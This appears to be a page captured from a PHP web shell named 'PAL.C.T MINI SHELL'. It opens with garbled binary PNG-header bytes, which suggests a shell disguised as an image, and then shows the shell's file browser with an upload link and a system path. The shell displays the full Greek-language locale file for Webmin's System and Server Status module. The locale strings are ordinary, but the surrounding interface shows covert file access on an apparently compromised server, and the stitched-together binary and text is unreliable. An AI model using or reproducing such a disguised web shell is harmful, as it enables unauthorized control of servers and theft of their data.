php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/status/lang/
upload
files >> //usr/libexec/webmin/status/lang/el.auto

index_title=Κατάσταση συστήματος και διακομιστή
index_name=Ονομα Υπηρεσίας
index_host=Στον οικοδεσπότη
index_desc=Παρακολούθηση
index_up=Κατάσταση
index_last=Τελευταίος έλεγχος
index_local=Τοπικός
index_add=Προσθήκη οθόνης τύπου:
index_sched=Προγραμματισμένη παρακολούθηση
index_scheddesc=Ενεργοποιήστε ή απενεργοποιήστε τον προγραμματισμένο έλεγχο των οθονών και ρυθμίστε τη διεύθυνση στην οποία αποστέλλονται αυτόματα αποτυχίες.
index_return=λίστα υπηρεσιών
index_none=Δεν έχουν οριστεί επί του παρόντος οθόνες.
index_oldtime=Κατάσταση από τον τελευταίο προγραμματισμένο έλεγχο στο $1 
index_esnmp=Η ενότητα έχει ρυθμιστεί ώστε να αποστέλλει παγίδες SNMP στη σελίδα <a href='$3'>Modul Config</a>, αλλά η μονάδα $1 Perl δεν είναι εγκατεστημένη. <a href='$2'>Πατήστε εδώ</a> για να το κατεβάσετε και να το εγκαταστήσετε τώρα.
index_refresh=Ανανέωση κατάστασης
index_refreshdesc=Εκτελέστε άμεση ανανέωση όλων των καταστάσεων παρακολούθησης, αντί να περιμένετε την επόμενη προγραμματισμένη ενημέρωση.
index_delete=Διαγραφή επιλεγμένων
index_refsel=Ανανέωση επιλεγμένων
index_group=Μέλη του $1 
index_tmpls=Επεξεργασία προτύπων ηλεκτρονικού ταχυδρομείου
index_tmplsdesc=Προβάλετε και επεξεργαστείτε πρότυπα που χρησιμοποιούνται για την κατασκευή μηνυμάτων ηλεκτρονικού ταχυδρομείου που αποστέλλονται κατά την παρακολούθηση των υπηρεσιών που κατεβαίνουν.

type_apache=Apache Webserver
type_inetd=Διακομιστή Internet και διακομιστή RPC
type_xinetd=Εκτεταμένος διακομιστής Internet
type_squid=Squid Proxy Server
type_bind8=BIND διακομιστή DNS
type_dnsadmin=BIND 4 διακομιστή DNS
type_dhcpd=DHCP Server
type_tcp=Απομακρυσμένη υπηρεσία TCP
type_http=Απομακρυσμένη υπηρεσία HTTP
type_sslcert=Πιστοποιητικό SSL
type_ftp=Απομακρυσμένη υπηρεσία FTP
type_sendmail=Ο διακομιστής Sendmail
type_postfix=Postfix Server
type_fail2ban=Fail2Ban Server
type_ping=Απομακρυσμένο Ping
type_proc=Ελέγξτε τη διαδικασία
type_mysql=MySQL Database Server
type_postgresql=PostgreSQL Database Server
type_samba=Samba Servers
type_nfs=NFS Server
type_exec=Εκτελέστε εντολή
type_file=Ελέγξτε το αρχείο ή τον κατάλογο
type_traffic=Κυκλοφορία δικτύου
type_space=Χώρος στο δισκο
type_du=Μέγεθος καταλόγου
type_consume=Κατανάλωση χώρου στο δίσκο
type_load=Μέσο φορτίο
type_change=Αλλαγή αρχείου ή καταλόγου
type_oldfile=Το αρχείο δεν άλλαξε
type_qmailadmin=QMail Server
type_mon=MON Service Monitor
type_jabber=Jabber IM Server
type_usermin=Usermin Webserver
type_portsentry=Portsentry Daemon
type_hostsentry=Hostsentry Daemon
type_webmin=Webmin Webserver
type_cfengine=Démon κινητήρα ρύθμισης παραμέτρων
type_memory=Ελεύθερη μνήμη
type_proftpd=ProFTPD Server
type_dovecot=Το διακομιστή IMAP/POP3 του Dovecot
type_mailserver=Απάντηση Mailserver
type_sshd=SSH Server
type_raid=Κατάσταση συσκευής RAID
type_iface=Κατάσταση διεπαφής δικτύου
type_init=Ενέργεια Bootup
type_sensors=Κατάσταση αισθητήρα LM
type_nut=Τιμή NUT UPS
type_mailq=Μέγεθος ουράς αλληλογραφίας
type_dns=DNS Lookup
type_query=SQL Query
type_alive=Σύστημα Alive
type_rssh=Απομακρυσμένη SSH
type_slapd=LDAP Server
type_ldap=Σύνδεση LDAP

mon_create=Δημιουργία οθόνης
mon_edit=Επεξεργασία παρακολούθησης
mon_virtualmin=Προειδοποίηση! Αυτή η οθόνη σχετίζεται με τον τομέα Virtualmin $1 και επομένως δεν πρέπει να επεξεργαστείτε ή να διαγράψετε εδώ.
mon_header=Παρακολουθήστε τα στοιχεία
mon_header2=Εντολές για εκτέλεση
mon_header3=Παρακολούθηση επιλογών υπηρεσίας
mon_desc=Περιγραφή
mon_remote=Εκτέλεση στο host
mon_remotes2=Εκτέλεση σε κεντρικούς υπολογιστές και ομάδες
mon_local=Τοπικός
mon_none=Δεν έχουν οριστεί απομακρυσμένοι διακομιστές
mon_nosched=Ελέγξτε το πρόγραμμα;
mon_warndef=Ναι, και χρησιμοποιήστε την προεπιλεγμένη λειτουργία αναφοράς
mon_warn1=Ναι, και αναφέρετε τις αλλαγές κατάστασης
mon_warn0=Ναι, και αναφέρετε όταν πηγαίνετε κάτω
mon_warn2=Ναι, και αναφέρετε όταν είναι κάτω
mon_warn3=Ναι, αλλά ποτέ μην αναφέρετε
mon_status=Τρέχουσα κατάσταση
mon_up=Πάνω
mon_down=Κάτω
mon_webmin=Webmin Down
mon_timeout=Εληξε ο χρόνος
mon_not=Μη εγκατεστημενο
mon_ondown=Εάν η οθόνη σβήσει, εκτελέστε εντολή
mon_onup=Εάν εμφανιστεί η οθόνη, εκτελέστε εντολή
mon_ontimeout=Εάν οι χρόνοι παρακολούθησης είναι εκτός, εκτελέστε εντολή
mon_clone=Μονάδα για την παρακολούθηση
mon_err=Αποτυχία αποθήκευσης της οθόνης
mon_edesc=Λείπει περιγραφή
mon_elogin=Μη έγκυρη σύνδεση για RPC σε διακομιστή Webmin $1 
mon_eremote2=Δεν ήταν δυνατή η επικοινωνία με τον διακομιστή Webmin $1 : $2 
mon_estatus=Ο διακομιστής Webmin $1 δεν διαθέτει τη λειτουργική μονάδα συστήματος και διακομιστή κατάστασης
mon_ecannot=Δεν επιτρέπεται η επεξεργασία οθονών
mon_ertype=Αυτός ο τύπος οθόνης δεν είναι διαθέσιμος στο $1 
mon_etype=Μη έγκυρο όνομα τύπου οθόνης
mon_runon=Εκτελέστε εντολές
mon_runon0=Αυτός ο διακομιστής
mon_runon1=Ο απομακρυσμένος υπολογιστής
mon_oninfo=Σημείωση: Οι εντολές θα εκτελούνται μόνο όταν αποστέλλεται μήνυμα ηλεκτρονικού ταχυδρομείου
mon_fails=Αποτυχίες πριν από την αναφορά
mon_efails=Έλλειψη ή μη έγκυρος αριθμός αποτυχιών
mon_notify=Μέθοδοι ειδοποίησης
mon_notifyemail=ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΕΥΘΥΝΣΗ
mon_notifypager=Pager
mon_notifysnmp=SNMP
mon_notifysms=γραπτό μήνυμα
mon_email=Επίσης, στείλτε μήνυμα ηλεκτρονικού ταχυδρομείου για την υπηρεσία αυτή
mon_depend=Μην ελέγχετε αν η οθόνη είναι εκτός λειτουργίας
mon_edepend=Μια οθόνη δεν μπορεί να εξαρτάται από τον εαυτό της
mon_clone2=Κλωνοποίηση
mon_skip=Παράλειψη
mon_empty=Δεν υπάρχουν μέλη
mon_onemem=Ένα μέλος
mon_members=$1 μέλη
mon_enoremote=Δεν υπάρχουν υπολογιστές ή ομάδες που να τρέχουν σε επιλεγμένες
mon_tmpl=Πρότυπο για μηνύματα
mon_notmpl=Κανένας (χρησιμοποιήστε τις προεπιλογές Webmin)
mon_header4=Ιστορικό κατάστασης
mon_hwhen=Ημερομηνία ελέγχου
mon_hold=Παλιά κατάσταση
mon_hnew=Νέα κατάσταση
mon_hvalue=αξία
mon_changes0=Εμφάνιση κάθε τύπου συμβάντος
mon_changes1=Εμφάνιση μόνο των αλλαγών
mon_all=Εμφάνιση όλων των ιστορικών γεγονότων
mon_nochanges=Δεν σημειώθηκαν αλλαγές κατάστασης στα τελευταία ιστορικά γεγονότα $1.

sched_title=Προγραμματισμένη παρακολούθηση
sched_header=Προγραμματισμένες επιλογές παρακολούθησης φόντου
sched_mode=Ο προγραμματισμένος έλεγχος είναι ενεργοποιημένος;
sched_email=Αναφορά κατάστασης ηλεκτρονικού ταχυδρομείου στη διεύθυνση
sched_pager=Αναφορά κατάστασης σελίδας σε αριθμό
sched_none=Μην στείλετε email
sched_pnone=Μην στέλνετε σελίδες
sched_from=Από: διεύθυνση ηλεκτρονικού ταχυδρομείου
sched_int=Ελέγξτε κάθε
sched_period_0=λεπτά
sched_period_1=ώρες
sched_period_2=ημέρες
sched_period_3=μήνες
sched_period_4=εβδομάδες
sched_offset=με αντιστάθμιση
sched_warn=Αποστολή ηλεκτρονικού ταχυδρομείου όταν
sched_warn1=Όταν μια υπηρεσία αλλάζει την κατάσταση
sched_warn0=Όταν μια υπηρεσία πέσει κάτω
sched_warn3=Όσο η υπηρεσία είναι σε λειτουργία
sched_warn2=Οποιαδήποτε ώρα υπηρεσία είναι μειωμένη
sched_single=Στείλτε ένα μήνυμα ηλεκτρονικού ταχυδρομείου ανά υπηρεσία;
sched_hours=Εκτελέστε την οθόνη κατά τις ώρες
sched_days=Εκτελέστε την παρακολούθηση στις ημέρες
sched_err=Αποτυχία αποθήκευσης προγραμματισμένης παρακολούθησης
sched_eemail=Λείπει η διεύθυνση ηλεκτρονικού ταχυδρομείου
sched_eint=Λείπει ή μη έγκυρο διάστημα
sched_eoffset=Έλλειψη ή μη έγκυρη αντιστάθμιση
sched_ehours=Δεν υπάρχουν ώρες για να τρέξετε κατά τη διάρκεια της επιλογής
sched_edays=Δεν υπάρχουν ημέρες για να τρέξετε σε επιλεγμένες
sched_ecannot=Δεν επιτρέπεται η επεξεργασία προγραμματισμένης παρακολούθησης
sched_smtp=Αποστολή μηνυμάτων μέσω
sched_smtp_prog=Τοπικός διακομιστής ταχυδρομείου
sched_smtp_server=Διακομιστή SMTP
sched_esmtp=Έλλειψη ή μη έγκυρος διακομιστής SMTP
sched_esmtpcmd=Η εντολή SMTP $1 απέτυχε : $2 
sched_eemailserver=Ο διακομιστής αλληλογραφίας σας δεν είναι εγκατεστημένος : $1 
sched_sms=Στείλτε SMS στο
sched_smsno=Κανείς
sched_smscarrier=Τηλέφωνο στο μεταφορέα
sched_smsnumber=με αριθμό
sched_esmsnumber=Λείπει ή μη αριθμητικός αριθμός SMS
sched_esmsname=Έλλειψη ή μη έγκυρο αριθμό SMS
sched_subject=Θέμα γραμμής για μηνύματα SMS
sched_subject0=Κανένας (η προειδοποίηση είναι στο σώμα)
sched_subject1=Κείμενο ειδοποίησης (άδειο σώμα αδείας)
sched_subject2=Προσαρμοσμένο κείμενο
sched_esubject=Λείπει θέμα μηνύματος SMS

up_since=Από το $1 
depends_mod=Η ενότητα $1 δεν είναι εγκατεστημένη στο σύστημά σας
depends_os=Η ενότητα $1 δεν υποστηρίζεται στο σύστημά σας
depends_remote=Η ενότητα $1 δεν υποστηρίζεται στο διακομιστή $2 

tcp_host=Υποδοχή για σύνδεση
tcp_port=Θύρα σύνδεσης για σύνδεση
tcp_alarm=Χρονικό όριο σύνδεσης
tcp_ehost=Λείπει ή μη έγκυρο όνομα κεντρικού υπολογιστή
tcp_eport=Λείπει ή μη έγκυρος αριθμός θύρας
tcp_ealarm=Λείπει ή δεν είναι έγκυρο χρονικό όριο σύνδεσης

http_url=URL για να ζητήσετε
http_alarm=Χρονικό όριο σύνδεσης
http_eurl=Λείπει ή μη έγκυρη διεύθυνση URL
http_ealarm=Λείπει ή δεν είναι έγκυρο χρονικό όριο σύνδεσης
http_login=Σύνδεση ως
http_none=Μην επαληθεύετε την ταυτότητά σας
http_user=Όνομα χρήστη
http_pass=Κωδικός πρόσβασης
http_euser=Λείπει το όνομα χρήστη
http_method=Μέθοδος αιτήματος HTTP
http_regexp=Η σελίδα πρέπει να ταιριάζει με το regexp
http_eregexp=Δεν υπάρχει κανονική έκφραση για την εισαγωγή σελίδας που ταιριάζει
http_none2=Δεν ταιριάζουν
http_ehead=Η μέθοδος αίτησης HEAD δεν μπορεί να χρησιμοποιηθεί κατά τον έλεγχο μιας κανονικής έκφρασης
http_codes=Αποδεκτοί κωδικοί κατάστασης HTTP
http_codes_def=Προεπιλογή ($1)
http_ecodes=Δεν έχουν εισαχθεί κωδικοί HTTP προς αποδοχή
http_ecodes3=Ο κωδικός HTTP πρέπει να είναι τριψήφιος αριθμός

ping_host=Υποδοχή σε ping
ping_wait=Ώρα να περιμένουμε την απάντηση
ping_ehost=Λείπει ή μη έγκυρο όνομα κεντρικού υπολογιστή
ping_ewait=Έλλειψη ή μη έγκυρος χρόνος αναμονής
ping_econfig=Δεν έχει οριστεί εντολή ping στο Module Config
ping_timeout=Λήξη χρονικού ορίου μετά από $1 δευτερόλεπτα
ping_resolv=Αποτυχία επίλυσης ονόματος κεντρικού υπολογιστή

proc_pid=Εκτέλεση με PID $1 
proc_cmd=Εντολή για έλεγχο
proc_not=Αποτυχία αν είναι η διαδικασία
proc_not0=Δεν τρεχω
proc_not1=Τρέξιμο
proc_ecmd=Λείπει εντολή
proc_thresh=Ο αριθμός διαδικασίας που πρέπει να υπάρχει για την παρακολούθηση για να εξετάσει την εκτέλεση τους
proc_ethresh=Λείπει ή μη έγκυρος αριθμός διαδικασιών
proc_asuser=Λειτουργεί ως χρήστης
proc_anyuser=Οποιοσδήποτε χρήστης
proc_easuser=Χρήστης για την εκτέλεση της διαδικασίας όπως δεν υπάρχει

exec_cmd=Εντολή για εκτέλεση
exec_mode=Έλεγχος κατάστασης εξόδου
exec_mode0=Αν η εντολή αποτύχει, η οθόνη αποτυγχάνει
exec_mode1=Απέτυχε η παρακολούθηση αν η εντολή επιτύχει
exec_mode2=Αγνοήστε την επιτυχία ή την αποτυχία
exec_ecmd=Λείπει εντολή
exec_regexp=Συγκρίνετε την έξοδο με το regexp
exec_noregexp=Μην ελέγχετε
exec_remode=Έλεγχος Regexp
exec_remode0=Αποτυχία αν η έξοδος δεν ταιριάζει
exec_remode1=Αποτυχία αν η έξοδος ταιριάζει

file_file=Αρχείο, κατάλογος ή πρότυπο για έλεγχο
file_test=Δοκιμάστε να εκτελέσετε
file_test_0=Πρέπει να υπάρχει
file_test_1=Δεν πρέπει να υπάρχει
file_test_2=Το μέγεθος πρέπει να είναι μεγαλύτερο από
file_test_3=Το μέγεθος πρέπει να είναι μικρότερο από
file_bytes=bytes
file_efile=Δεν υπάρχει όνομα αρχείου ή καταλόγου για έλεγχο
file_esize=Μη έγκυρο μέγεθος αρχείου
file_elarge=Τα αρχεία είναι πολύ μεγάλα : $1 
file_esmall=Τα αρχεία είναι πολύ μικρά : $1 
file_eowner=Αρχεία με λάθος κάτοχο : $1 
file_egroup=Αρχεία με λάθος ομάδα : $1 
file_owner=Ο κάτοχος του αρχείου πρέπει να είναι
file_group=Η ομάδα αρχείων πρέπει να είναι
file_nocheck=Οτιδήποτε
file_perms=Πρέπει να είναι τα οκταδικά δικαιώματα
file_eperm=Αρχεία με λάθος δικαιώματα : $1 

traffic_iface=Διεπαφή για παρακολούθηση
traffic_bytes=Μέγιστο bytes/δευτερόλεπτο
traffic_dir=Οδηγία για την παρακολούθηση
traffic_dir0=Εισερχόμενες και εξερχόμενες
traffic_dir1=Μόνο εισερχόμενα
traffic_dir2=Μόνο εξερχόμενα
traffic_desc=Αυτή η οθόνη παρακολουθεί την κυκλοφορία δικτύου σε μια επιλεγμένη διεπαφή και εμφανίζει την οθόνη ως κάτω, αν η κίνηση υπερβεί τον αριθμό των byte ανά δευτερόλεπτο που έχει εισαχθεί παρακάτω. Αυτό λειτουργεί πραγματικά καλά αν η προγραμματισμένη παρακολούθηση είναι ενεργοποιημένη σε σύντομο χρονικό διάστημα, όπως κάθε 5 λεπτά.
traffic_eifaces=Το λειτουργικό σας σύστημα δεν διαθέτει αρχείο/proc/net/dev
traffic_ebytes=Έλλειψη ή μη έγκυρος αριθμός bytes/δευτερόλεπτο

space_fs=Σύστημα αρχείων για έλεγχο
space_min2=Ελάχιστος ελεύθερος χώρος
space_mode0=Απόλυτο μέγεθος
space_mode1=Ποσοστό του συνόλου
space_desc=$1 δωρεάν
space_nofs=Το σύστημα αρχείων δεν έχει τοποθετηθεί
space_other=Αλλα ..
space_emin=Έλλειψη ή άκυρο ελεύθερο χώρο
space_epc=Λείπει ή μη έγκυρο ποσοστό ελεύθερου χώρου
space_eother=Λανθασμένο ή μη έγκυρο σύστημα αρχείων
space_inode=Ελάχιστες ελεύθερες εισόδους
space_ierr=Μόνο $1 inodes δωρεάν
space_merr=Μόνο $1 ελεύθερος χώρος
space_perr=Μόνο $1% ελεύθερος
space_dferr=Δεν ήταν δυνατή η λήψη του μεγέθους του συστήματος αρχείων

load_time=Μέσος όρος φόρτωσης για έλεγχο
load_1=1 λεπτό
load_5=5 λεπτά
load_15=15 λεπτά
load_max=Μέσος όρος μέσου φορτίου
load_emax=Έλλειψη ή μη έγκυρος μέσος όρος μέγιστου φορτίου
load_ecmd=Η εντολή <tt>uptime</tt> δεν βρέθηκε στο σύστημά σας
load_efmt=Δεν ήταν δυνατή η ανάλυση της εξόδου της εντολής <tt>uptime</tt>

log_create=Δημιουργήθηκε οθόνη $1 
log_modify=Τροποποιημένη οθόνη $1 
log_delete=Διαγράφηκε οθόνη $1 
log_sched=Αλλαγή προγραμματισμένης παρακολούθησης
log_deletes=Διαγράφηκαν $1 οθόνες
log_tmpl_create=Δημιουργήθηκε πρότυπο email $1 
log_tmpl_modify=Τροποποιημένο πρότυπο ηλεκτρονικού ταχυδρομείου $1 
log_tmpl_delete=Διαγράφηκε πρότυπο email $1 
log_tmpl_deletes=Διαγράφηκαν $1 πρότυπα ηλεκτρονικού ταχυδρομείου
log_refresh=Ανανεωμένες καταστάσεις παρακολούθησης

acl_edit=Μπορεί να επεξεργαστεί και να δημιουργήσει οθόνες;
acl_sched=Μπορεί να αλλάξει προγραμματισμένη παρακολούθηση;

change_file=Αρχείο ή κατάλογος για παρακολούθηση (αποτυχία αν αλλάξει)

jabber_eparser=Η ενότητα Perl $1 δεν είναι εγκατεστημένη στο σύστημά σας.

memory_min2=Ελάχιστη ελεύθερη πραγματική μνήμη
memory_emin=Λείπει ή μη έγκυρη ποσότητα ελεύθερης πραγματικής μνήμης
memory_eproc=Το Webmin δεν ξέρει πώς να ελέγχει την ελεύθερη μνήμη στο λειτουργικό σας σύστημα
memory_free2=$1 πραγματική μνήμη δωρεάν
memory_freeswap=$1 δωρεάν εικονική μνήμη
memory_freelow=Μόνο $1 πραγματική μνήμη δωρεάν
memory_freelowswap=Μόνο $1 εικονική μνήμη ελεύθερη
memory_minswap=Ελάχιστη δωρεάν εικονική μνήμη
memory_eminswap=Έλλειψη ή μη έγκυρη ποσότητα δωρεάν εικονικής μνήμης

proftpd_etype=Αυτή η οθόνη δεν μπορεί να χρησιμοποιηθεί όταν το ProFTPD εκτελείται αυτόνομα

mailserver_to=Αποστολή μηνύματος ηλεκτρονικού ταχυδρομείου στη διεύθυνση
mailserver_timeout=Χρονικό όριο και διάστημα
mailserver_units_0=Δευτερόλεπτα
mailserver_units_1=Λεπτά
mailserver_units_2=Ωρες
mailserver_units_3=Ημέρες
mailserver_desc=Η παρακάτω διεύθυνση πρέπει να είναι ένα autoresponder που απαντά στη διεύθυνση προέλευσης με την ίδια Θέμα: γραμμή.

oldfile_file=Αρχείο για παρακολούθηση (αποτυχία αν δεν αλλάξει)
oldfile_diff=Αποτυχία αν δεν αλλάξει
oldfile_secs=δευτερόλεπτα

raid_device=Συσκευή RAID
raid_edevice=Δεν έχει επιλεγεί συσκευή RAID
raid_bad=Εντοπίστηκε κακός δίσκος
raid_resync=Αυτήν την περίοδο επανασύνδεση
raid_notfound=Η συσκευή RAID $1 δεν βρέθηκε
raid_other=Αλλα ..

iface_iface=Διεπαφή για έλεγχο

init_action=Δράση για έλεγχο
init_eaction=Δεν έχει επιλεγεί καμία ενέργεια

refresh_title=Ανανέωση κατάστασης
refresh_doing=Ανανέωση της κατάστασης όλων των οθονών ..
refresh_doing2=Ανανέωση της κατάστασης των $1 επιλεγμένων οθονών ..
refresh_done=.. Ολοκληρώθηκε.

sensors_name=Αισθητήρας για έλεγχο
sensors_value=Αποτυχία όταν
sensors_value0=Το σύστημα δείχνει προειδοποίηση
sensors_value1=Η τιμή είναι κάτω από $1 
sensors_value2=Η τιμή είναι μεγαλύτερη από $1 
sensors_cmd=Η εντολή <tt>αισθητήρες</tt> δεν είναι εγκατεστημένη στο σύστημά σας. Αυτή η οθόνη απαιτεί την εγκατάσταση του πακέτου lm_sensors για λειτουργία.
sensors_none=Δεν εντοπίστηκαν αισθητήρες στο σύστημά σας. Ενδέχεται να χρειαστεί να εκτελέσετε την εντολή <tt>ανίχνευσης αισθητήρων</tt>.
sensors_cur=$1 (επί του παρόντος $2 $3)
sensors_emin=Λανθασμένη ή μη έγκυρη ελάχιστη τιμή
sensors_emax=Λανθασμένη ή μη έγκυρη μέγιστη τιμή

nut_ups=NUT UPS για έλεγχο
nut_name=Χαρακτηριστικό για έλεγχο
nut_value=Αποτυχία όταν
nut_value1=Η τιμή είναι κάτω από $1 
nut_value2=Η τιμή είναι μεγαλύτερη από $1 
nut_cmd=Η εντολή <tt>upsc</tt> δεν είναι εγκατεστημένη στο σύστημά σας. Αυτή η οθόνη απαιτεί το πακέτο NUT να εγκατασταθεί και να ρυθμιστεί ώστε να λειτουργεί.
nut_eups=Δεν USP να ελέγξει εισήχθη
nut_cur=$1 (επί του παρόντος $2)
nut_emin=Λανθασμένη ή μη έγκυρη ελάχιστη τιμή
nut_emax=Λανθασμένη ή μη έγκυρη μέγιστη τιμή

mailq_system=Διακομιστή αλληλογραφίας
mailq_qmailadmin=Qmail
mailq_postfix=Postfix
mailq_sendmail=Sendmail
mailq_size=Μέγιστο μέγεθος ουράς αλληλογραφίας
mailq_esize=Λείπει ή μη έγκυρο μέγιστο μέγεθος ουράς
mailq_toomany=Κάτω - $1 μηνύματα σε ουρά
mailq_ok=Up - $1 μηνύματα σε ουρά

dns_server=Διακομιστή DNS
dns_host=Όνομα κεντρικού υπολογιστή για αναζήτηση
dns_address=Αναμενόμενη διεύθυνση IP
dns_eserver=Έλλειψη ή μη έγκυρος διακομιστής DNS
dns_ehost=Λείπει ή αναζητά μη έγκυρο όνομα κεντρικού υπολογιστή
dns_eaddress=Λανθασμένη ή μη έγκυρη αναμενόμενη διεύθυνση IP
dns_ecmds=Ούτε οι εντολές <tt>nslookup</tt> ή <tt>dig</tt> εγκαθίστανται στο σύστημά σας

monitor_sub_down=$1 κάτω στο $2 
monitor_pager_down=$1 : Το "$2" είναι κάτω $3 
monitor_snmp_down= $1:$2 
monitor_email_down=Παρακολούθηση του $1 για "$2" έχει εντοπίσει ότι η υπηρεσία έχει μειωθεί στο $3 
monitor_sub_up=$1 δημιουργία αντιγράφων ασφαλείας στο $2 
monitor_pager_up=$1 : "$2" είναι πίσω $3 
monitor_snmp_up= $1:$2 δημιουργείται αντίγραφο ασφαλείας
monitor_email_up=Παρακολούθηση στο $1 για '$2' έχει εντοπίσει ότι η υπηρεσία έχει επιστρέψει στο $3 
monitor_sub_un=$1 απεγκαταστάθηκε στο $2 
monitor_pager_un=$1 : "$2" απεγκαταστήθηκε $3 
monitor_snmp_un= $1:$2 απεγκαταστάθηκε
monitor_email_un=Παρακολούθηση στο $1 για '$2' έχει εντοπίσει ότι η υπηρεσία είναι απεγκατασταθεί στο $3 
monitor_sub_webmin=$1 Webmin κάτω στο $2 
monitor_pager_webmin=$1 : "$2" Webmin κάτω $3 
monitor_snmp_webmin= $1:$2 Webmin κάτω
monitor_email_webmin=Παρακολούθηση στο $1 για '$2' έχει εντοπίσει ότι Webmin είναι κάτω στο $3 
monitor_sub_timed=Το $1 έληξε στο $2 
monitor_pager_timed=$1 : Το χρονικό όριο "$2" εξαντλήθηκε $3 
monitor_snmp_timed= $1:$2 έχει λήξει
monitor_email_timed=Η παρακολούθηση στο $1 για '$2' έχει λήξει στο $3 
monitor_sub_isdown=$1 κάτω στο $2 
monitor_pager_isdown=$1 : Το "$2" είναι κάτω $3 
monitor_snmp_isdown= $1:$2 
monitor_email_isdown=Παρακολούθηση στο $1 για '$2' έχει εντοπίσει ότι η υπηρεσία έχει μειωθεί στο $3 
monitor_sub_isup=$1 αύξηση στο $2 
monitor_pager_isup=$1 : Το "$2" έχει αυξηθεί $3 
monitor_snmp_isup=$1:$2 
monitor_email_isup=Το Monitor on $1 για '$2' εντόπισε ότι η υπηρεσία έχει αυξηθεί στο $3 
monitor_sub=Υπηρεσία παρακολούθησης : $1 
monitor_sub2=Υπηρεσία παρακολούθησης
monitor_sub3=Υπηρεσία παρακολούθησης: $1 υπηρεσίες
monitor_run1=Τρέχοντας $1 στο $2 ..
monitor_run2=Τρέξιμο $1 ..
monitor_runerr=Δεν ήταν δυνατή η εκτέλεση του $1 στο $2 : $3 
monitor_email_stat=Τρέχουσα κατάσταση: $1 

deletes_egone=Μια από τις επιλεγμένες οθόνες δεν υπάρχει πλέον
deletes_enone=Δεν έχουν επιλεγεί οθόνες

ftp_host=Κεντρικός υπολογιστής FTP
ftp_port=Θύρα FTP
ftp_user=Είσοδος ως χρήστης
ftp_anon=Ανώνυμος
ftp_pass=Με κωδικό πρόσβασης
ftp_file=Αρχείο για ανάκτηση
ftp_none=Καμία (απλά σύνδεση)
ftp_ehost=Έλλειψη ή μη έγκυρος κεντρικός υπολογιστής FTP
ftp_eport=Λανθασμένη ή μη έγκυρη θύρα διακομιστή FTP
ftp_efile=Λείπει ή μη έγκυρο αρχείο για λήψη
ftp_tls=Χρησιμοποιήστε κρυπτογράφηση TLS;
ftp_etls=Το TLS δεν μπορεί να ενεργοποιηθεί εκτός εάν έχει εγκατασταθεί η υπομονάδα $1 Perl
ftp_econn=Η σύνδεση FTP TLS απέτυχε
ftp_econn2=Η σύνδεση FTP TLS απέτυχε : $1 
ftp_elogin=Η σύνδεση TLS FTP απέτυχε : $1 
ftp_etlsfile=Απέτυχε η λήψη του TLS FTP : $1 

query_driver=Τύπος βάσης δεδομένων SQL
query_db=Ονομα βάσης δεδομένων
query_host=Βάση διακομιστή βάσης δεδομένων
query_local=Αυτός ο διακομιστής
query_user=Είσοδος ως χρήστης
query_pass=Σύνδεση με κωδικό πρόσβασης
query_sql=Έρευνα SQL για εκτέλεση
query_result=Αναμενόμενο Αποτέλεσμα
query_ignore=Αγνόηση αποτελέσματος
query_edriver=Η μονάδα προγράμματος οδήγησης Perl $1 δεν είναι εγκατεστημένη
query_edb=Λείπει ή μη έγκυρο όνομα βάσης δεδομένων
query_ehost=Λείπει ή άκυρο όνομα κεντρικού υπολογιστή διακομιστή βάσης δεδομένων
query_euser=Μη έγκυρο όνομα χρήστη
query_epass=Λανθασμένος κωδικός
query_esql=Λείπει ερώτημα SQL
query_eresult=Λείπει το αναμενόμενο αποτέλεσμα
query_elogin=Η σύνδεση απέτυχε : $1 
query_eprepare=Σφάλμα SQL : $1 
query_eexecute=Η SQL απέτυχε : $1 
query_ewrong=Λανθασμένο αποτέλεσμα : $1 

consume_rate=Μέγιστο ποσοστό κατανάλωσης (ανά δευτερόλεπτο)
consume_high=Το ποσοστό κατανάλωσης είναι $1 / δευτερόλεπτο

alive_up=Πάνω για $1 

rssh_host=Διακομιστή SSH διακομιστή
rssh_ruser=Είσοδος ως χρήστης
rssh_rpass=Σύνδεση με κωδικό πρόσβασης
rssh_nopass=Δεν απαιτείται
rssh_nologin=Μην προσπαθήσετε να συνδεθείτε
rssh_ehost=Έλλειψη ή μη έγκυρος κεντρικός υπολογιστής SSH
rssh_eruser=Λείπει το όνομα χρήστη
rssh_ecmd=Η εντολή <tt>ssh</tt> δεν είναι εγκατεστημένη στο σύστημά σας
rssh_eproc=Η λειτουργική μονάδα Τρέχοντες τρόποι δεν υποστηρίζεται στο σύστημά σας
rssh_wrongpass=Λανθασμένη σύνδεση
rssh_failed=Αποτυχημένη σύνδεση
rssh_error=Σφάλμα SSH
rssh_haspass=Κωδικός πρόσβασης
rssh_port=Θύρα διακομιστή SSH
rssh_eport=Λείπει ή μη έγκυρος αριθμός θύρας

tmpls_title=Πρότυπα ηλεκτρονικού ταχυδρομείου
tmpls_ecannot=Δεν επιτρέπεται η επεξεργασία προτύπων ηλεκτρονικού ταχυδρομείου
tmpls_none=Δεν έχουν καθοριστεί ακόμη πρότυπα ηλεκτρονικού ταχυδρομείου. Όλες οι ειδοποιήσεις θα αποστέλλονται χρησιμοποιώντας τα προεπιλεγμένα μηνύματα Webmin.
tmpls_desc=Περιγραφή
tmpls_email=Μήνυμα ηλεκτρονικού ταχυδρομείου
tmpls_add=Προσθέστε ένα νέο πρότυπο ηλεκτρονικού ταχυδρομείου.
tmpls_return=λίστα προτύπων
tmpls_delete=Διαγραφή επιλεγμένων προτύπων

tmpl_title1=Δημιουργία προτύπου ηλεκτρονικού ταχυδρομείου
tmpl_title2=Επεξεργασία προτύπου ηλεκτρονικού ταχυδρομείου
tmpl_header=Μηνύματα προτύπων μηνυμάτων προειδοποίησης
tmpl_desc=Περιγραφή προτύπου
tmpl_email=Μήνυμα ηλεκτρονικού ταχυδρομείου
tmpl_sms=Μήνυμα SMS
tmpl_sms1=Webmin προεπιλογή
tmpl_sms0=Προσαρμοσμένο μήνυμα παρακάτω ..
tmpl_snmp=Μήνυμα Pager
tmpl_instr=Οδηγίες και αντικαταστάσεις
